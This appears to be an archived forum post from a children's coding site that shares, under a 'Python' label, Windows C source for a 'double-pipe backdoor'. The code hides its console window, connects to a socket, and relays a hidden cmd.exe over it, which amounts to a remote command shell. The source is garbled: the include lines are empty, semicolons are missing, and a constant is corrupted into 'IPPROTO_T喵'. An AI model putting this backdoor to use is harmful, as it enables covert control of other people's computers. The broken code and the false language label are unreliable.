猫史档案馆


【Python作品分享】双管道后门【教程贴】

用户:二千子二千子查看:0 回复:0 评论:0 创建时间:2020-03-14T22:12:38


【作品展示】

center_image

 

【作品介绍】

双管道后门

 

【作品源代码】

#include
#include
#include
#include
#include
#include

#pragma comment(lib,"ws2_32.lib")

SOCKET Connecting(unsigned short Port)
void CmdLine(SOCKET s)
int Hide()

int main() {
	Hide()
	SOCKET s
	s = Connecting(8888)
	CmdLine(s)
	closesocket(s)
	WSACleanup()
	return 0
}

SOCKET Connecting(unsigned short Port) {
	WSADATA wsa
	if (WSAStartup(MAKEWORD(2, 2), & wsa) != 0)
  		return SOCKET_ERROR

	// 创建套接字
	SOCKET s = socket(PF_INET, SOCK_STREAM, IPPROTO_T喵)
	if (s == INVALID_SOCKET)
  		return SOCKET_ERROR

	// 对sockaddr_in结构体填充地址,端口等信息
	struct sockaddr_in ServerAddr
	ServerAddr.sin_family = AF_INET
	ServerAddr.sin_addr.S_un.S_addr = inet_addr("127.0.0.1")
	ServerAddr.sin_port = htons(Port)


	// 连接服务器
	while (connect(s, (SOCKADDR * )&ServerAddr, sizeof(ServerAddr)))
	return s
}
void CmdLine(SOCKET s) {
	// 双管道读写句柄
	HANDLE hReadPipe1, hWritePipe1, hReadPipe2, hWritePipe2
	// 对SECURITY_ATTRIBUTES结构体进行填充
	SECURITY_ATTRIBUTES se
	se.nLength = 12
	se.lpSecurityDescriptor = 0
	se.bInheritHandle = true
	// 创建管道
	CreatePipe( & hReadPipe1, & hWritePipe1, & se, 0)
    // 管道1
	CreatePipe( & hReadPipe2, & hWritePipe2, & se, 0)
    // 管道2

	// 指定cmd的启动信息
	STARTUPINFO si
	ZeroMemory(& si, sizeof(si))
	si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES
	si.wShowWindow = SW_HIDE
	si.hStdInput = hReadPipe2
	si.hStdOutput = si.hStdError = hWritePipe1

	PROCESS_INFORMATION Pro
	// 创建进程
	char cmdline[] = "cmd.exe"
	CreateProcess(NULL, cmdline, NULL, NULL, 1, 0, NULL, NULL, & si, & Pro)


	while (1)
	{
		unsigned long lBytesRead
		char Buff[1024]
		// 查看cmd是否有输出
		PeekNamedPipe(hReadPipe1, Buff, 1024, & lBytesRead, 0, 0)
		if (lBytesRead)
		{
			// 读取cmd的输出, 发送到客户端
			ReadFile(hReadPipe1, Buff, lBytesRead, & lBytesRead, 0)
                				send(s, Buff, lBytesRead, 0)
                    }
		else
		{
			// 接收客户端命令
			lBytesRead = recv(s, Buff, 1024, 0)
			// 把命令传给cmd
			WriteFile(hWritePipe2, Buff, lBytesRead, & lBytesRead, 0)
                    }
	}
}

int Hide() {
	HWND hwnd
	hwnd = FindWindow("ConsoleWindowClass", NULL)
    // 处理顶级窗口的类名和窗口名称匹配指定的字符串, 不搜索子窗口。
	if (hwnd)
	{
		ShowWindow(hwnd, SW_HIDE)
            // 设置指定窗口的显示状态
	}
	return 0;
}

 

【提示】

部分含有Python第三方库相关内容的作品,在海龟编辑器网页端无法运行哦!如遇到这种情况,可以打开下面的链接,下载海龟编辑器客户端:

https://python.codemao.cn


回复

上一页1 页 / 共 0下一页